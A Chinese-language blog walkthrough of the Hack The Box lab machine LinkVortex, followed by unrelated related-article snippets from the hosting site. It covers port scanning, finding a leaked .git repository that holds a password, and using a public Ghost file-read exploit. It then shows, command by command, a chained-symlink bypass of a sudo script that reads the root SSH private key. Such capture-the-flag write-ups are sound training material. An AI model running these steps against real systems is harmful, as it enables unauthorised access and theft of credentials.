htb LinkVortex walkthrough

news/2025/1/22 17:25:53/文章来源:https://www.cnblogs.com/wssw/p/18686488
nmap
 nmap -p- -A -sS -T 4 10.10.11.47
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-22 00:58 UTC┌──(root㉿kali)-[/home/ftpuserr]
└─# nmap -p- -A -sS -T4 10.10.11.47
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-22 00:58 UTC
Stats: 0:02:28 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 25.35% done; ETC: 01:08 (0:07:16 remaining)
Nmap scan report for 10.10.11.47
Host is up (0.18s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_  256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open  http    Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://linkvortex.htb/
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE (using port 1720/tcp)
HOP RTT       ADDRESS
1   195.43 ms 10.10.16.1
2   87.29 ms  linkvortex.htb (10.10.11.47)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 710.21 seconds
只有80 和 222 端口

访问web页面 会跳转到域名
image






扫到个robots 目录
image
依次访问一下他提供的路径




http://linkvortex.htb/ghost/ 是个后台
image




因为他要求输入的是邮箱
我就尝试猜测 admin@linkvortex.htb 这个邮箱 以及密码 是admin
image
虽然他报错了显示密码不对 但这也侧面说明我们的邮箱是对的




如果我们输入一个不存在的邮箱看看
image

他会显示邮箱不存在





尝试搜索ghost的默认密码
发现并没有




发现版本
image
搜索exp
https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028/blob/master/CVE-2023-40028
但是这个exp 也是需要登录的





卡住了 求助了一下外国友人
才知道要子域名爆破




http://dev.linkvortex.htb/.git/ .git 源码泄露
能发现密码
OctopiFociPilfer45




利用之前的exp 成功执行任意文件读取

image



于是我尝试读取了一下/home/node/id_rsa
发现并没有



这导致我卡了非常久
后来发现原来在他的.git泄露的源码Dockerfile.ghost里面就有
image
能够读取到用户名以及密码
image
ssh登录成功
image




sudo -l 发现 能执行(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
image



看看这个脚本在干什么

点击查看代码
#!/bin/bashQUAR_DIR="/var/quarantined"if [ -z $CHECK_CONTENT ];thenCHECK_CONTENT=false
fiLINK=$1if ! [[ "$LINK" =~ \.png$ ]]; then/usr/bin/echo "! First argument must be a png file !"exit 2
fiif /usr/bin/sudo /usr/bin/test -L $LINK;thenLINK_NAME=$(/usr/bin/basename $LINK)LINK_TARGET=$(/usr/bin/readlink $LINK)if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"/usr/bin/unlink $LINKelse/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"/usr/bin/mv $LINK $QUAR_DIR/if $CHECK_CONTENT;then/usr/bin/echo "Content:"/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/nullfifi
fi
这个提权倒是挺有意思的 我们来审视一下代码

代码分几个功能点
1.
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
这个功能是检查环境变量CHECK_CONTENT 是否为true 如果没有设置 默认为false

LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
这部我们的文件 名称复制给LINK_NAME
将我们文件所链接的 文件赋值给LINK_TARGET

3
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
检查链接的内容是否包含etc 或者 root字样 如果有就执行下面的代码

4
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
如果不符合3的特征 就会将我们的文件移动到$QUAR_DIR/ 这个目录下面然后
检查CHECK_CONTENT是否为true 如果为true 就会用cat 查看我们文件所链接的内容




接下来我们来讲解一下漏洞成因

这里我们来看看
image
我们将 1 链接 /etc/shadow 文件
然后将 2.png 链接 1
当我们使用readlink命令的时候 你会发现 2.png 链接的内容是 1
image
但是我们cat 2.png 的时候依旧能读取/etc/shadow的文件
image

这就巧妙的绕过了 他的脚本检查 链接是否包含etc 或者root的字样




开始实践


export CHECK_CONTENT=true

ln -s /root/.ssh/id_rsa rsa

ln -s /home/bob/rsa /home/bob/rsa.png

sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/rsa.png

image
成功读取到root的私钥 提权成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/873324.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

网络抓包文件太大,如何切分

背景 节前最后几天了,随便写点水文吧,今天就记录一下,当我们拿到的网络抓包文件太大,应该怎么分析。 一般来说,我们个人抓包的话,linux上用tcpdump比较多,抓的时候也会用捕获表达式,抓出来的包一般不大,用wireshark分析就很容易。 但是,前一阵的一个晚上,dba突然找我…

java进程内存占用分析

一、背景 1.1 问题描述 不知道大家在开发过程中有没有遇到过类似的问题,明明通过JVM参数-Xmx256m设置了最大堆内存大小为256m,但是程序运行一段时间后发现占用的内存明显超过了256m,却并没有出现内存溢出等问题,那是什么东西占用了额外的内存空间呢? 通过ps查看java进程项…

《ESP32-S3使用指南—IDF版 V1.6》第三章 ESP32-S3基础知识

第三章 ESP32-S3基础知识 1)实验平台:正点原子DNESP32S3开发板 2)章节摘自【正点原子】ESP32-S3使用指南—IDF版 V1.6 3)购买链接:https://detail.tmall.com/item.htm?&id=768499342659 4)全套实验源码+手册+视频下载地址:http://www.openedv.com/docs/boards/esp3…

GDB - 查看崩溃程序maps映射表

可执行程序如何通过gdb查看映射信息? 在终端中打开gdb调试器:gdb 可执行文件名。 进入gdb调试器后,使用命令info proc mapping查看可执行程序的映射信息。 这个命令将会输出可执行程序的内存映射信息,包括可执行文件的代码段、数据段、堆和栈等信息,以及共享库的地址空间等…

Anthropic 计划为 Claude 发布「双向」语音模式;商汤「日日新」实时音视频对话服务开放商用丨 RTE 开发者日报

开发者朋友们大家好:这里是 「RTE 开发者日报」 ,每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE(Real-Time Engagement) 领域内「有话题的 新闻 」、「有态度的 观点 」、「有意思的 数据 」、「有思考的 文章 」、「有看点的 会议 」,但内容仅代表编辑…

记录---当window.open被ios安全机制拦截,我掏出3种方案,终于跳转成功!

🧑‍💻 写在开头 点赞 + 收藏 === 学会🤣🤣🤣一、前言 今天在开发H5的时候,遇到了一个bug,就是在ios环境,在某些情况下执行window.open不生效,所以正好趁此机会研究了一下window.open。 二、window.open介绍 从open方法的调用方式可以看出,open方法是定义在Wind…

C. Gawr Gura

小鲨鱼cos本来有三张但是被审核夹了,只发两张试试..?

马拉车 Manacher

讲解马拉车算法,模板例题与代码更新日志 2025/01/22:开工。思路 马拉车算法用于解决回文子串问题,思路类似于Z函数。 首先我们考虑使所有回文串都是奇数串,具体的,我们在两两字符之间插入相同的特殊字符,比如: \[\texttt{abcba}\rightarrow\texttt{\#a\#b\#c\#b\#a\#} \…

折腾笔记[10]-使用rust进行ORB角点检测

打包ORB算法到bye_orb_rs库,使用rust进行ORB角点检测. Package the ORB algorithm into the bye_orb_rs library, and use Rust for ORB corner detection.摘要 打包ORB算法到bye_orb_rs库,使用rust进行ORB角点检测. Package the ORB algorithm into the bye_orb_rs library, a…

DBSyncer开源数据同步中间件

一、简介 DBSyncer(英[dbsɪŋkɜː(r)],美[dbsɪŋkɜː(r) 简称dbs)是一款开源的数据同步中间件,提供MySQL、Oracle、SqlServer、PostgreSQL、Elasticsearch(ES)、Kafka、File、SQL等同步场景。支持上传插件自定义同步转换业务,提供监控全量和增量数据统计图、应用性能预…

幻想 实在 自我

小 C 和 小 Y 的故事还未停止 …… 或许不会停止弥晨时间仓促,如有错误欢迎指出,欢迎在评论区讨论,如对您有帮助还请点个推荐、关注支持一下

AT+CSQ 和 AT+QENG查询的 RSSI不一致

1. 查询结果如下:2. CSQ查询的RSSI 接收信号强度指示时是31,对应但是 AT+QENG查询的是-128